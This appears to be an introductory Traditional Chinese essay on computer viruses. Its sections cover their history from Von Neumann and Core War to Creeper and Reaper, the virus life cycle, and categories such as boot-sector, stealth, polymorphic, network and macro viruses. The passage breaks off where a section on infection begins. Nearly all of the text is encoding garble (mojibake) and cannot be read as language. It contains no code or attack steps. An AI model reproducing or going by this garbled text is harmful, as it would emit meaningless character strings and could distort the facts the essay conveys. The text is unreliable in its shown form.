¹q¸£¯f¬r


¤º®e¥Ø¿ý¡J


1.0 ¾É½×

1.1 ¯f¬rªº°_·½
¹q¸£¯f¬r¨Ã«D¬O³Ìªñ¤~¥X²{ªº·s²£ª« ¡M¨Æ¹ê¤W¡M¦­¦b¤@¤E¥|¤E¦~ ¡M¶ZÂ÷²Ä¤@³¡°Ó¥Î¹q¸£ªº¥X²{¤´¦³¦n´X¦~®É ¡M¹q¸£ªº¥ýÅXªÌ¬ù¿«¡D­S¯Ã°Ò ( John Von Neumann )¦b¥L©Ò´£¥Xªº¤@½g½×¤å¡m½ÆÂø¦Û°Ê¸Ë¸mªº²z½×¤Î²Õ´ªº¶i¦æ¡nùØ,§Y¤w§â¯f¬rµ{¦¡ªºÂŹϤİǥX¨Ó ¡M·í®É ¡Mµ´¤j³¡¥÷ªº¹q¸£±M®a³£µLªk·Q¹³³oºØ·|¦Û§ÚÁc´Óªºµ{¦¡¬O¥i¯àªº ¡M¥i¬O¤Ö¼Æ´X­Ó¬ì¾Ç®aÀqÀq¦a¬ã¨s­S¯Ã°Òªº©Ò´£¥Xªº·§©À ¡C
ª½¨ì¤Q¦~¤§«á ¡M¦b¬ü°ê¹q¸Ü¹q³ø¤½¥q (AT&T) ªº¨©º¸ (Bell)¹êÅç«Ç¤¤ ¡M³o¨Ç·§©À¦b¤@ºØ«Ü©_©Çªº¹q¤l¹CÀ¸¤¤¦¨§Î¤F¡M³oºØ¹q¤l¹CÀ¸¥s°µ¡mºÏ¿¶¤j¾Ô¡n (core war)¡CºÏ¿¶¤j¾Ô¬O·í®É¨©º¸¹êÅç«Ç¤¤¤T­Ó¦~»´µ{¦¡¤H­û¦b¤u¾l·Q¥X¨Óªº ¡M¥L­Ì¬O¹D®æ©Ô´µ¡D³ÁÄ£µÜ (H, Douglas McIlroy)¡Mºû¯S¡Dºû¯Á´µ°ò (Victor Vysottsky)¥H¤Îù§B¡D²ö¨½´µ (Robert T. Morris)¡M·í®É¤T¤H¦~¬ö³£¥u¦³¤G¤Q¦h·³¡C
ºÏ¿¶¤j¾Ôªºª±ªk¦p¤U¡J¨â¤è¦U¼g¤@®Mµ{¦¡¡M¿é¤J¦P¤@³¡¹q¸£¤¤¡M³o¨â®Mµ{¦¡¦b¹q¸£ªº°O¾Ð¨t²Î¤º¤¬¬Û°l±þ¡M¦³®É¥¦­Ì·|©ñ¤U¤@¨ÇÃö¥d¡M¦³®É·|°±¤U¨Ó­×²z(­«·s¼g)³Q¹ï¤è¯}Ãaªº´X¦æ«ü¥O¡M·í¥¦³Q§x®É¡M¤]¥i¥H§â¦Û¤v½Æ»s¤@¦¸¡M°kÂ÷ÀI¹Ò¡M¦]¬°¥¦­Ì³£¦b¹q¸£ªº°O¾ÐºÏ¿¶¤¤¹C¨«¡M¦]¦¹±o¨ì¤FºÏ¿¶¤j¾Ô¤§¦W¡C³o­Ó¹CÀ¸ªº¯SÂI¡M¦b©óÂù¤èªºµ{¦¡¶i¤J¹q¸£¤§«á¡Mª±¹CÀ¸ªº¤H¥u¯à¬ÝµÛ¿Ã¹õ¤WÅã¥Üªº¾Ôªp¡M¦Ó¤£¯à°µ¥ô¦ó§ó§ï¡M¤@ª½¨ì¬Y¤@¤èªºµ{¦¡³Q¥t¤@¤èªºµ{¦¡§¹¥þ®ø·À¬°¤î¡C
ºÏ¿¶¤j¾Ô¬O­ÓÅ¢²Îªº¦WºÙ¡M¨Æ¹ê¤WÁÙ¥i²Ó¤À¦¨¦n´XºØ¡M³ÁÄ£µÜ©Ò¼gªºµ{¦¡¥s¡m¹Fº¸¤å¡n¡M³o¥]§t¤F¡uª«Äv¤Ñ¾Ü¡M¾AªÌ¥Í¦s¡vªº·N«ä¡C¥¦ªº¹CÀ¸³W«h¸ò¥H¤W©Ò´y­zªº³Ì±µªñ¡MÂù¤è¥H²Õ¦X»y¨¥¦U¼g¤@®Mµ{¦¡¡M¥s¦³¾÷Åé(organism)¡M³o¨â­Ó¦³¾÷Åé¦b¹q¸£¸Ìª§°«¤£¥ð¡Mª½¨ì¤@¤è§â¥t¤@¤è±þ±¼¦Ó¨ú¥N¤§¡M«Kºâ¤À¥X³Ó­t¡C¦b¤ñÁÉ®É Morris ¸g±`¦K¤ß¿W¨ã¡MÀ»±Ñ¹ï¤â¡C
¥t¥~¦³­Ó¥s¡mª¦¦æªÌ¡nªºµ{¦¡(Creeper)¡M¨C¤@¦¸§â¥¦Åª¥X®É¡M¥¦«K¦Û¤v½Æ»s¤@­Ó°Æ¥»¡C¦¹¥~¡M¥¦¤]·|±q¤@³¡¹q¸£¡uª¦¡v¨ì¥t¤@³¡¦³³s½uªº¹q¸£¡C«Ü§Ö¦a¹q¸£¤¤­ì¦³¸ê®Æ«K³Q³o¨Çª¦¦æªÌÀ½±¼¤F¡Cª¦¦æªÌ°ß¤@ªº¥Í¦s¥Øªº¬OÁc´Þ¡C¬°¤F¹ï¥I¡mª¦¦æªÌ¡n¡M¦³¤H«K¼g¥X¤F¡m¦¬³ÎªÌ¡n(Reaper)¡C¥¦ªº°ß¤@¥Í¦s¥Øªº«K¬O§ä¨ì¡mª¦¦æªÌ¡n¡M§â¥¦­Ì·´·À±¼¡C·í©Ò¦³¡mª¦¦æªÌ¡n³£³Q¦¬³Î±¼¤§«á¡M¡m¦¬³ÎªÌ¡n«K°õ¦æµ{¦¡¤¤³Ì«á¤@¶µ«ü¥O¡J·´·À¦Û¤v¡M±q¹q¸£¤¤®ø¥¢¡C
¡m¨Ü¾§¡n(Dwarf)¨Ã¨S¦³¡m¹Fº¸¤å¡nµ¥µ{¦¡Áo©ú¡M«o¬O­Ó·¥ºÝ¦MÀI¤Hª«¡C¥¦¦b°O¾ÐÅ餤ÁÚ¶i¡M¨C¨ì²Ä¤­­Ó¦ì§}(address) «K§â¨º¸Ì©ÒÀx¦sªºªF¦èÅܬ°¹s¡M³o·|¨Ï±o­ì¥»ªºµ{¦¡°±Â\¡C
¦b¨º­Ó¦~¥N¸Ì¡M¹q¸£³£¨S¦³³s½u¡M¦Ó¬O¤¬¬Û¿W¥ßªº¡M¦pªG¦³¬Y³¡¹q¸£¨ü¨ì¡u·P¬V¡v¡M¥¢¥h±±¨î¡M¤u§@¤H­û¥u»Ý§â¥¦Ãö±¼«K¥i¡C¦ý¬O·í¹q¸£³s½u³vº¥¦¨¬°ªÀ·|µ²ºcªº¤@³¡¥÷¤§«á¡M¤@­Ó©Î¦Û§Ú½Æ»sªº¯f¬rµ{¦¡«K«Ü¥i¯à±a¨ÓµL½aªºº×®`¤F¡C¦]¦¹ªø¤[¥H¨Ó¡MÀ´±oª±¡mºÏ¿¶¤j¾Ô¡n¹CÀ¸ªº¹q¸£¤u§@ªÌ³£ÄY¦u¤@¶µ¤£¦¨¤åªº³W©w¡J¤£¹ï´¶Ã¹¤j²³¤½¶}³o¨Ç¾Ôª§µ{¦¡ªº¤º®e¡C
¦ý¦b¤@¤E¤K¤T¦~¡M³o¶µ³W©w³Q¥´¯}¤F¡C¬ì®¦¡D´ö´¶»¹(Ken Thompson)¬O·í¦~¤@¶µ³Ç¥X¹q¸£¼úªº±o¼ú¤H¡C¦b¹{¼ú¨å§¤W¡M¥L§@¤F¤@­ÓºtÁ¿¡M¤£¦ý¤½¶}¦aÃÒ¹ê¤F¹q¸£¯f¬rªº¦s¦b¡M¦Ó¥BÁÙ§i¶D©Ò¦³Å¥²³«ç¼Ë¥h¼g¦Û¤vªº¯f¬rµ{¦¡¡C¥Lªº¦P¦æ¥þ³£À~Ãa¤F¡MµM¦Ó³o­Ó¯µ±K¤w¸g¬y¶Ç¥X¥h¤F¡C¤@¤E¤K¥|¦~¡M±¡ªp·U½ÆÂø¤F¡C³o¤@¦~¡M¡m¬ì¾Ç¬ü°ê¤H¡n¤ë¥Z(Scientific American)ªº±MÄæ§@®a§ù¯S¥§(A. K. Dewdney)¦b¤­¤ë¸¹¼g¤F²Ä¤@½g°Q½×¡mºÏ¿¶¤j¾Ô¡nªº¤å³¹¡M¨Ã¥B¥u­n±H¤W¨â¶ô¿ú¬üª÷¡M¥ô¦óŪªÌ³£¥i¥H¦¬¨ì¥L©Ò¼gªº¦³Ãö¼gµ{¦¡ªººõ»â¡M¦b¦Û¤v®a¤¤ªº¹q¸£¤¤¶}ÅP¾Ô³õ¡C
¦b¤@¤E¤K¤­¦~¤T¤ë¥÷ªº¡m¬ì¾Ç¬ü°ê¤H¡n¸Ì¡M§ù¯S¥§¦A¦¸°Q½×¡mºÏ¿¶¤j¾Ô¡n©M¡u¯f¬r¡v¡C¦b¤å³¹ªº¶}ÀY¥L»¡¡J¡u·í¥h¦~¤­¤ë¦³Ãö¡mºÏ¿¶¤j¾Ô¡nªº¤å³¹¦L¥X¨Ó®É¡M§Ú¨Ã¨S¦³·Q¹L§Ú©Ò½Í½×ªº¬O¨º»òÄY­«ªºÃD¥Ø¡C¡v¤å¤¤¨Ã¥B²Ä¤@¦¸´£¨ì¡u¯f¬r¡v³o­Ó¦WºÙ¡C¥L´£¨ì»¡¡M¸q¤j§QªºÃ¹«k¦R¡D·²¾|«Ò(Roberto Cerruti)©M°¨°ª¡D»ò¾|ÅU«Ò(Marco Morocutti)µo©ú¤F¤@ºØ¯}Ãa³nÅ骺¤èªk¡C¥L­Ì·Q¥Î¯f¬r¡M¨Ó¨Ï±oÄ«ªG¤G¸¹¹q¸£¨ü·P¬V¡C·²¾|«Ò¼g¤F¤@«Ê«Hµ¹§ù¯S¥§¡M«H¤º»¡¡J¡u°¨°ª·Q¼g¤@­Ó¹³¡y¯f¬r¡z¤@¼Ëªºµ{¦¡¡M¥i¥H±q¤@³¡Ä«ªG¹q¸£¶Ç¬V¨ì¥t¤@³¡Ä«ªG¹q¸£¡M¨Ï¨ä¨ü¨ì·P¬V¡C¥i¬O§Ú­Ì¨Sªk³o¼Ë°µ¡Mª½¨ì§Ú·Q¨ì¡M³o¯f¬r­n¥ý¨ÏºÏºÐ¨ü¨ì·P¬V¡M¦Ó¹q¸£¥u¬O´C¤¶¡C³o¼Ë¡M¯f¬r´N¥i¥H±q¤@¤ùºÏºÐ¶Ç¬V¨ì¥t¤@¤ùºÏºÐ¤F¡C¡v
©ó¬O¯f¬r¥ÆÀݪº¦~¥NÀHµÛ¹q¸£®É¥Nªº¨ÓÁ{¶}©lµo´­¥ú¤j¤F¡C¤×¨ä¬O¦bÄ«ªG¹q¸£¡BIBM PC¬Û®eªº­Ó¤H¹q¸£¦¨¬°¥D¬y¤§«á¡M¤@¯ë¤H§ó¥i¥H¤£¶O§j¦Ç¤§¤O´N¨ú±o¹q¸£µ{¦¡¼g§@ªº¤u¨ã¡M¦A¥[¤W¦n©_¤ßªºÅX¨Ï¡M¯f¬rµ{¦¡ªº¥X²{µS¦p«B«á¬Kµ«¡C

2.0 ¯f¬r¬O¤°»ò

2.1 ¯f¬r²¤¶
¹q¸£¯f¬r¬O¤@ºØ¹ï¹q¸£§@·~¨t²Îªº¦w¥þ³y¦¨«Â¯Ù©Î¯}Ãaªºµ{¦¡¡M¥¦·|Åܧó­ì¦³¨t²Îµ{¦¡©Î¸ê®Æ¡M²£¥Í·l®`¡C¨Ã¥B¡M¯f¬r·|¦bµ{¦¡¤§¶¡¡B¨t²Î¤§¶¡¶Ç¼½¡C¥¦¬O¥Ñ¤@³s¦êªº«ü¥Oºc¦¨ªº¡M·í¥¦³Q°õ¦æªº®É­Ô¡M´N±N¥¦¦Û¤v´²¼½¨ì¨ä¥L¥¼·P¬Vªºµ{¦¡©ÎÀɮפ§¤¤¡C
¨å«¬ªº¹q¸£¯f¬r¦³¨â¶µ¥\¯à¡J²Ä¤@¡M¥¦·|¦Û¦æÁc­l¡M±N¦Û¤v«þ¨©¨ì¨ä¥LªºÀɮשε{¦¡¤¤¡C²Ä¤G¡M(¥i¯à¬O¦b¯S§Oªº°õ¦æ¦¸¼Æ«á¡M©Î¬O¦b¯S©wªº¤é´Á¡M)¥¦¶}©l°õ¦æ­ì¯f¬r§@ªÌ©Ò¼gªº¨ä¥L«ü¥O¡M¦Ü©ó·|°µ­þ¨Ç¨Æ¡MºÝ¬Ý§@ªÌ¥»¨­ªº°Ê¾÷¡M¦³¨Ç¬OÅã¥Ü¬Y­Ó°T®§¡M¦³¨Ç¬O±þ±¼¬Y¨ÇÀɮסM¦³¨Ç¬O§ïÅܹq¸£­ì¥ýÀx¦sªº¸ê®Æ¡M¬Æ¦Ü®æ¦¡¤ÆµwºÐ¡C¤]¦³¥i¯à¥¦®Ú¥»¨S¦³¥ô¦óªº¯}Ãa«ü¥O¡M¦Ó¬O§l¦¬ºÏºÐªºªÅ¶¡¡M¥´Â_ºô¸ôªº³s±µµ¥µ¥¡C
°£¤F¯f¬r¤§¥~¡M¤]¦³´XºØÃþ¦ü¯f¬r¡M¦ý«oºÙ¤£¤W¯f¬rªºµ{¦¡¡JįÂÎ(worms)¡B²Óµß(bacteria)¡B¨ß¤l(rabbits)µ¥µ¥¡C»P¯f¬r¬Û¦Pªº¬O¡M¥¦­Ì³£¨ã¦³¦Û§Ú½Æ»sªº¥à¡C¦Ó¤£¦Pªº¬O¡Mworm¬O¤@ºØµ{¦¡¡M¥¦³z¹Lºô¸ô´²¼½¦Û¤vªº½Æ»s«~¡MÂǵÛÅýºô¸ô¨t²Î¶W¹L­t¸ü¨Ï¨ä¤¤Â_¡Cbacteria «h¬O·í¥¦³Q°õ¦æªº®É­Ô¡M±N¦Û¤vªº½Æ»s«~´²¼½µ¹¨t²Î©Î¬O¨ä¥Lªº¨Ï¥ÎªÌ¡Crabbit¥D­n¬O³Q³]­p¥Î¨Ó®ø¯Ó¨t²Î¸ê·½ªº¡M¥¦¨Ã¤£¬O·P¬V¨ä¥Lªºµ{¦¡¡M¦Ó¬OµL­­¨îªº½Æ»s¦Û¤v¡C
2.2 ¯f¬rªº¥Í©R¶g´Á
¹q¸£¯f¬r´N¦n¹³²Óµßªº¥Íªø¤@¯ë¡M©Ò¥H§Ú­Ì¤~±N¥¦ºÙ°µ¡u¯f¬r¡v¡C¯f¬rªº¦¨ªø¡M¦³¤U¦C´X­Ó¥Í©R¶g´Á¡J
A. ³Ð³y´Á(Creation)¡J
·í¦³¤@¨Ç¤Hªá¤F¦n´X­Ó¬P´Á§V¤O¦a¬ã¨s¥X¤@¨Ç¥i¥H¼s¬°´²§Gªºµ{¦¡½X¡M¤@°¦¯f¬r´N³o¼Ë½Ï¥Í¤F¡C·íµM¡M¥L­Ì¬O¤£·|³o¼Ë´Nºâ¤Fªº¡C¥L­Ì³q±`³£·|³]­p¤@¨Ç¯}Ãaªº¦æ¬°¡C
B. ¥¥¨|´Á(Gestation):
³o¨Ç¯}ÃaªÌ±N¤¤¬rªºÀɮשñ¦Ü¤@­Ó®e©ö¦V¥~¶Ç¼½ªº¦a¤è¡C¦pBBS©Î¬OInternetªºFTP¯¸¡M¬Æ¦Ü¬O¤½¥q¡B¾Ç®ÕªºÀÉ®×®wµ¥µ¥¡C¥Ñ©ó³\¦h¤H·|¦b³o¨Ç¦a¤è±a¦^³\¦hªºÀɮסM¦]¦¹¯f¬r¤]´N¥i¥H§ó§Ö³t¦a¶Ç¼½¥X¥h¡C
C. ¼ç¥ñ·P¬V´Á(Propagation)¡G
¦b¼ç¥ñ´Á¤¤¡M¯f¬r·|¤£Â_¦aÁc´Þ»P¶Ç¬V¡C¤@­Ó§¹¬üªº¯f¬r¾Ö¦³«Üªøªº¼ç¥ñ´Á¡M¦p¦¹¤@¨Ó¯f¬r´N§ó¦hªº®É¶¡¥h¶Ç¬V¨ì§ó¦hªº¦a¤è¡B§ó¦hªº¨Ï¥ÎªÌ¡B¤@¥¹¶}©lµo¯f¡M±N·|³y¦¨§ó¤jªº¶Ë®`¡C¨Ò¦p¥@¬Éª¾¦Wªº¡u¦Ì¶}®Ô°òù¯f¬r¡v¡M¦b¨C¦~¤T¤ë¤»¤éµo§@«e¡M¦³¾ã¾ã¤@¦~ªº·P¬V´Á¡C
D. µo¯f´Á(Activation)¡G
·í¤@¤Áªº±ø¥ó§Î¦¨¤§«á¡M¯f¬r©ó¬O´N¶}©l¤F¯}Ãa°Ê§@¡C¦³¨Ç¯f¬r·|¦b¬Y¨Ç¯S©wªº¤é´Áµo¯f¡M¦³¨Ç«h¬O¦Û¤v¦³­Ó­Ë¼Æ­p®É¾¹¨Ó¨M©wµo¯fªº®É¶¡¡C
E. µo²{´Á(Discovery)¡G
ÁöµM¤j³¡¥÷ªº¯f¬r³Ì«á³£·|³Qµo²{¡A¦ý¤´µM¦³¨Ç¯f¬r¦bµo¯f¤§«á¡M¨Ã¨S¦³³Qµo²{¥X¨Ó¡C¨ä¹ê¡M¤@¯ë¤H­Ì¥u­nª`·N¨ì¥¦¡M³q±`³£·|·Q¿ìªk°µ¦n¹jÂ÷ªº°Ê§@¡C¦b¬ü°ê¦³¤@­Ó¡u°ê®a¹q¸£¦w¥þ¨ó·|¡v(National Computer Security Association, NCSA)¤£Â_¦a¦¬¶°¯f¬rªº¸ê®Æ¡M¨Ã¥B±N³o¨Ç¤å¥ó¶Ç°eµ¹¥þ¥@¬Éªº¨¾¬r³nÅé¬ãµo³æ¦ì¡C¹ï©ó¤j¦h¼Æªºª¬ªp¨Ó»¡¡M·í¤@­Ó¯f¬r¹ï¥þ²y¹q¸£¨Ï¥ÎªÌ²£¥Í­«¤j«Â¯Ù«eªº¦Ü¤Ö¤@¦~¤§¤º¡M´N·|³Q³o¨Ç°T®§»â³Sµo²{¡C
F. ¦P¤Æ´Á(Assimilation)¡G
¶i¤Jµo²{´Á¤§«á¡M¨¾¬r³nÅé°Ó·s¼W¤F·sªº¯f¬r½X¨Ï±o¥L­Ìªº²£«~¥i¥H°»´ú¨ì³o¨Ç¯f¬r¡C³o­Ó¹Lµ{³q±`­nªá¤W¥b¦~ªº®É¶¡¡Mµø³nÅé¬ãµo¼t°Óªº¯à¤O©M¯f¬rªº½ÆÂø«×¦Ó©w¡C
G. ®Ú°£´Á(Eradication)¡G
¦pªG¦³°÷¦hªº¨¾¬r³nÅé¯à°÷±±¨î³o¨Ç¯f¬r¡M¨Ã¥B¤]¦³°÷¦hªº¨Ï¥ÎªÌ¨Ï¥Î¨¾¬r³nÅé¡M¨º»ò³o¨Ç¯f¬r´N¥i¥H´X¥G§¹¥þ¦a³s®Ú¼³·À¡CÁöµM¨ì²{¦b¬°¤î¡M¨Ã¨S¦³¤H´±«ÅºÙ¬Y¬Y¯f¬r§¹¥þµ´¸ñ¤F¡C¦ý¬O¦³¤@¨Ç¯f¬r«Ü©úÅã¦a³Q§¹¥þ§ã¤î¤F¡M¦p¦­´ÁªºDisk Killerµ¥¡C¥¦­Ì³£´¿¦³¤@¬q­·¥úªº¤é¤l¡M¨Ã¥B¹ï¦h¼Æªº¹q¸£¨Ï¥ÎªÌ³y¦¨«D±`¤jªº«Â¯Ù¡C
2.3 ¯f¬rºØÃþ
A. ¶}¾÷«¬¯f¬r
¶}¾÷«¬¯f¬rªº·P¬V¹ï¶H¬O§@·~¨t²Îªº¶}¾÷°Ï¡M¤]´N¬O©Ò¿×ªºBOOTºÏ°Ï¡C¥¦¬OÂǥѶ}¾÷°Ê§@«I¤J°O¾ÐÅ骺¡M¦pªG¥Î¤F¤w·P¬V¯f¬rªº¶}¾÷¤ù¨Ó¶}¾÷¡M«h¯f¬r±N¥ß§Y·P¬V¨ìµwºÐ¤¤¡C¶}¾÷«¬¯f¬r¤S¥i¤À¬°¡J

¶Ç²Î¶}¾÷«¬¯f¬r
¸g¥Ñ³nºÐ¶Ç¬V¡M¶i¤J¹q¸£¤¤¦A¦ø¾÷¶Ç¬V¨ä¥LÀɮסC
Áô§Î¶}¾÷«¬¯f¬r
·P¬VµwºÐ¶}¾÷ºÏ°Ï¡M°°³y¶}¾÷¸ê®Æ¡M¨Ï¨¾¬r³nÅé¥H¬°¨t²Î¬O¥¿±`ªº¡C
¥Ø¿ý«¬¯f¬r
¥u·P¬VÀÉ®×°t¸mªí (FAT)¡M¨Ï±oÀÉ®×Ū¼g¤£¥¿±`¡M¬Æ¦Ü¥¢¥hÀɮסC

µÛ¦Wªº¶}¾÷«¬¯f¬r¡J
B. Àɮ׫¬¯f¬r
Àɮ׫¬¯f¬r¥D­n¬O·P¬V .COM ÀɩάO .EXE ÀÉ¡Cªñ¦~¨Ó¡MÀɮ׫¬¯f¬rªº·P¬V¥Ø¼Ð¤SÂX¤Î¨ì .OVLÀÉ©M.BINÀÉ¡CÀɮ׫¬¯f¬r¤S¦³¤À¡J

¶Ç²ÎÀɮ׫¬¯f¬r
¥H¯}ÃaÀɮ׬°¥Øªº¡M³q±`¬O§â¯f¬r¦Û¤v©ñ¶i³Q¶Ç¬VªºÀɮ׸̡C¤S¤À¬°¨âºØ¡J
¨³³t·P¬V«¬
¶i¤J°O¾ÐÅé«á´N¥ß§Y´M§äÀɮסMµo²{¨S¦³¤¤¬rªºÀÉ®×´N¥ß¨è·P¬V¡C
±`¾n«¬
µ¥«Ý¦³µ{¦¡³Q°õ¦æ¦Ó¶i¤J°O¾ÐÅé®É¡M¤~¶i¦æ·P¬V¡C
Áô§ÎÀɮ׫¬¯f¬r
§â¦Û¤v´Ó¤J§@·~¨t²Î¤¤¡M·í¦³µ{¦¡¹³§@·~¨t²Î­n¨D¤¤Â_ªA°È®É¡M¥¦´N¡u¶¶«K¡v·P¬V¨º­Ó´£¥X­n¨Dªºµ{¦¡¡C

µÛ¦WªºÀɮ׫¬¯f¬r¡J
C. ²V¦X«¬¯f¬r
²V¦X«¬¯f¬r¨ã¦³¶}¾÷«¬¯f¬r©MÀɮ׫¬¯f¬rªº¯à¤O¡M¥D­n¬O§Q¥ÎÀÉ®×·P¬V®É¦ø¾÷·P¬V¶}¾÷°Ï¡M¦]¦Ó¨ã¦³Âù­«¦æ°Ê¤O¡C¦¹¥~¥¦­Ìªº¶Ç¬V¡BÁc´Þ³t«×¤]«ÜÅå¤H¡CµÛ¦Wªº²V¦X«¬¯f¬r¡J
D. Áô§Î­¸¾÷«¬¯f¬r
Áô«¬­¸¾÷¦¡¯f¬r¤SºÙ§@¤¤Â_ÄdºIªÌ(Interrupt Interceptors)¡C¥¦Âǥѱ±¨îDOSªº¤¤Â_¦V¶q¨ÓÅýDOS¥H¤Î¨¾¬r³nÅé»{¬°©Ò¦³ªºÀɮ׳£¬O°®²bªº¡C¦b¥¿±`ªºª¬ªp¡MÀ³¥Îµ{¦¡µo¥X¤@­Ó¤¤Â_­n¨D®É¡M³q±`³£·|«Ü¥¿±`¦a³Q¾É¤Þ¨ì¤@­Ó¥¿±`ªº¤¤Â_¦V¶qªí(Interrupt Table)¨Ã¥¿½T¦a°õ¦æ¡C¤@¥¹¯f¬rºI¨ú¤F³o¨Ç¤¤Â_­n¨D¡M¥¦´N¥i¥H»~¾É³o¨Çµ{¦¡¡M¥h°µ¤@¨Ç¥¦­Ì·Q­n°µªº¨Æ¡CÁô«¬­¸¾÷¦¡¯f¬r¥Ñ©ó¥i¥H¸ú¦b¤¤Â_¦V¶qªí¤¤¡M©Ò¥H¥¦¥i¥H«Ü¦³®Ä²v¦aÂð_¨Ó¡M«ÜÃø³Q°»´ú¨ì¡CµÛ¦WªºÁô§Î­¸¾÷«¬¯f¬r¡J
E. ÅÜÅé¯f¬r
ÅÜÅé¤ÞÀº(Mutation Engine)¯f¬rµ{¦¡¨CÁc´Þ¤@¦¸¡M´N·|¥H¤£¦Pªº¯f¬r½X¶Ç¬V¨ì§Oªº¦a¤è¥h¡M¨C­Ó¤¤¬rªºÀɮפ¤©Ò§tªº¯f¬r½X³£¤£¤@¼Ë¡M¹ï©ó±½´y©T©w¯f¬r½Xªº¨¾¬r³nÅé¡M«K¬O¤@ºØ­«¤jªº¦ÒÅç¡C³oÃþ¯f¬r¥Ø«e¤w¥X²{¦b¼Ú¬w¡M¦pWHALE¯f¬r¨Ìªþ©ó.COMÀɮɡA´X¥GµLªk§ä¨ì¬Û¦Pªº¯f¬r½X¡F¦ÓFLIP¯f¬r«h¥u¦³2 byteªºPattern¥i§ä¡M¬O«D±`¸Þ²§ªº¯f¬r¡CµÛ¦Wªº¦³¡J
F. ºô¸ô¨t²Î¯f¬r
ºô¸ô¬O¯f¬r³Ì·Rªº¶Ç¬V³~®|¡M¦ý¥u¦³¤Ö¼Æ±Mªù°w¹ïºô¸ô®zÂI©Ò³]­pªººô¸ô¯S©w¯f¬r¡M¤~¯à¦bNetWare¤U¹B§@¡C³oÃþ«¬ªººô¸ô¯S©w¯f¬r·|¥D°Ê¤J«I¡B·P¬V¨Ã¯}Ãaºô¸ô¦øªA¾¹¤¤ÀɮסM¨ä¤¤³Ì¦³¦Wªº¬°Novell Netwareºô¸ô¨t²Î¤Wªººô¸ô¯S©w¯f¬rGP1(Get Password 1)¡M¥¦·|§Q¥Î·j¶°¨Óªº¨Ï¥ÎªÌ±b¸¹¤Î±K½X¡M¬ð¯}SupervisorªºÅv­­¡M§ó§ïÀɮצøªA¾¹¤WªºÀÉ®×ÄÝ©Ê¡M¨Ã¶i¦æ·P¬V©M§R°£ªº°Ê§@¡M¦Ó¥B¯f¬r¤§¶¡ÁÙ¯à¥æ´«°T®§¡M©Ò¥H¤@¥¹¯f¬r¦bºô¸ô¤W¬¡ÅD¡M«áªG±N¤£°É³]·Q¡C
G. ¤å¦r¥¨¶°¯f¬r
¥¨¶°¯f¬r¬O¥Ø«e¼öªùªº¸ÜÃD¡M¥¦¥D­n¬O§Q¥Î³nÅ饻¨­©Ò´£¨Ñªº¥¨¶°¯à¤O¨Ó³]­p¯f¬r¡M©Ò¥H¤Z¬O¨ã¦³¼g¥¨¶°¯à¤Oªº³nÅé³£¦³¥¨¶°¯f¬r¦s¦bªº¥i¯à¡MWord, Excel, Amipro ³£¬ÛÄ~¶Ç¥X¦M®`¡M¦b¥xÆW³Ì¦³¦Wªº¨Ò¤l¥¿¬OTaiwan No.1¡C
©Ò¿×¡u¥¨¶°¡v(Macro)¬O«ü²³¦h«ü¥Oªº¶°¦X¡M¥¨¶°³q±`¥i¥H¤¹³\¨Ï¥ÎªÌ¦Û¦æ³]­p¥H«K¯à°÷¤@¦¸°õ¦æ³s¦êªº«ü¥O©Î°Ê§@¡C¥¦ªº·§©À´N«ÜÃþ¦ü¦bDOSÀô¹Ò¤Uªº§å¦¸ÀÉ¡C³q±`¥¨¶°³£¬O¦ñÀHµÛ¥Dµ{¦¡±Ò°Ê®É¤@°_³Q¸ü¤J°O¾ÐÅ餤¡M¥HMicrosoft Word¬°¨Ò¡M·í§Ú­Ì±Ò°ÊWord¤§«á¡MWord¤º©w·|´À§Ú­Ì¸ü¤J¤@­ÓNormal.DOTªº½d¥»ÀÉ¥H³]©w¦p¦r«¬¡M¦æ¶Zµ¥µ¥¬ÛÃö¸ê°T¡C³o¤]¥¿¬O¥¨¶°¯f¬r³Ì·R¤U¤âªº¥Ø¼Ð¡C¥u­n¤@¥÷¤å¥ó¤¤§¨±a¤F¨ã¦³¦Û§Ú½Æ»s¯à¤O©Î¯}Ãaªº¦æ¬°¡M¨Ò¦p¶}±ÒÂÂÀÉ¡M¶}·sÀɮסM¥t¦s·sÀɵ¥°Ê§@¦P®É¡M¬Æ¦Ü³sWord¥u­n¤@±Ò°Ê¡M³£·|°õ¦æ¨ì³o¨Ç¥¨¶°¡C¦Ó³o¨Ç¤£Ãh¦n·Nªº¥¨¶°´N¬O©Ò¿×ªº¡u¤å¥ó¥¨¶°¯f¬r¡v¡C
¦³¨Çµ{¦¡¼g§@ªº±M®a¤£»{¬°¤å¥ó¯f¬r¬O¯u¥¿ªº¯f¬r¡M¦]¬°¥¦¨Ã«D¿W¥ß¥i°õ¦æªºµ{¦¡¡M¦Ó¬O¤@¨Ç­«¶q¯Å¤å®Ñ©Î¸Õºâªí³nÅ骺¡u¤@³s¦ê°õ¦æ¨BÆJ¡v¦Ó¤w¡C©Î³\¥u¯àºâ¬O·o³Jªº°Ê§@¡M¦ý¤´¯à°÷³y¦¨·lÃa¡CµÛ¦Wªº¥¨¶°¯f¬r¡J
G. ¤Ï¨¾¬r¯f¬r
¤Ï¨¾¬r¯f¬r±Mªù§ðÀ»¯S©wªº¨¾¬r³nÅé¡C³oºØ¯f¬r´X¥G«D±`¦a¤Ö¡M¦ý¬O¹ï©ó¤@¨Ç¨¾¬r³nÅé¨Ó»¡¡M¥Ñ©ó¥¦ªº¦s¦b¡M¨Ï±o¾ã¥x­ì¨Ó¦³°µ¨¾¬r±¹¬Iªº¹q¸£¹y®É¥¢¥h¤F«OÅ@¡M¦]¦¹¯}Ãa¤O¤]¤£¥i©¿µø¡C

3.0 ¯f¬rªº¤u§@­ì²z

3.1 ²`¤J±´°Q¯f¬r¦p¦ó·P¬V
¦b¸Ô²Ó»¡©ú¯f¬r¦p¦ó·P¬V¤§«e¡MÅý§Ú­Ì¥ý¨Ó«ä¦Ò¤@¤U¡M·í§Ú­Ì­n°õ¦æ¤@­Óµ{¦¡®É©Ò­n°µªº°Ê§@¡C¦³­þ¨Ç§Ú­Ì·|¤£¹½¨ä·Ðªº¥hÀˬd©O¡H
¥H¤U§Ú­Ì±N°Q½×³o¨Ç°ÝÃD¡M¨Ã¥B¦b¦³¥i¯à·P¬V¯f¬rªº®É¾÷¥[¤W"(!)"ªº²Å¸¹¡C
A. ¶}±Ò¹q·½®É
